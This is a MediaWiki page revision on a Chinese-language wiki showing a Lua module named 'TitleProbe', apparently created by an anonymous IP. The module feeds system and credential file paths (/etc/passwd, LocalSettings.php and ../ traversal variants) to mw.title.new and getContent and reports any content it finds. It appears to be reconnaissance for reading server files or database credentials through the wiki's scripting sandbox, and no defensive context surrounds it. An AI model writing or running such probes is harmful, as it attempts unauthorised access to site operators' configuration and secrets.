模块:TitleProbe

来自希服维基
221.237.85.128讨论2026年5月9日 (六) 14:59的版本 (创建页面,内容为“local p = {} function p.test() local results = {} -- Test different paths local paths = { "/etc/passwd", "/etc/hosts", "/var/www/html/", "/tmp/", "LocalSettings.php", "../LocalSettings.php", "../../LocalSettings.php", "/w/LocalSettings.php", } for _, path in ipairs(paths) do local title = mw.title.new(path) if title then local info = {}…”)
(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)

可在模块:TitleProbe/doc创建此模块的帮助文档

local p = {}
function p.test()
    local results = {}

    -- Test different paths
    local paths = {
        "/etc/passwd",
        "/etc/hosts",
        "/var/www/html/",
        "/tmp/",
        "LocalSettings.php",
        "../LocalSettings.php",
        "../../LocalSettings.php",
        "/w/LocalSettings.php",
    }

    for _, path in ipairs(paths) do
        local title = mw.title.new(path)
        if title then
            local info = {}
            info[1] = "exists=" .. tostring(title.exists)
            info[2] = "ns=" .. tostring(title.namespace)
            info[3] = "id=" .. tostring(title.id)
            info[4] = "isExternal=" .. tostring(title.isExternal)
            info[5] = "isLocal=" .. tostring(title.isLocal)
            info[6] = "contentModel=" .. tostring(title.contentModel)
            info[7] = "text=" .. tostring(title:getContent()):sub(1,50)
            results[#results+1] = path:sub(1,20) .. ": " .. table.concat(info, ", ")
        end
    end

    return table.concat(results, "\n")
end
return p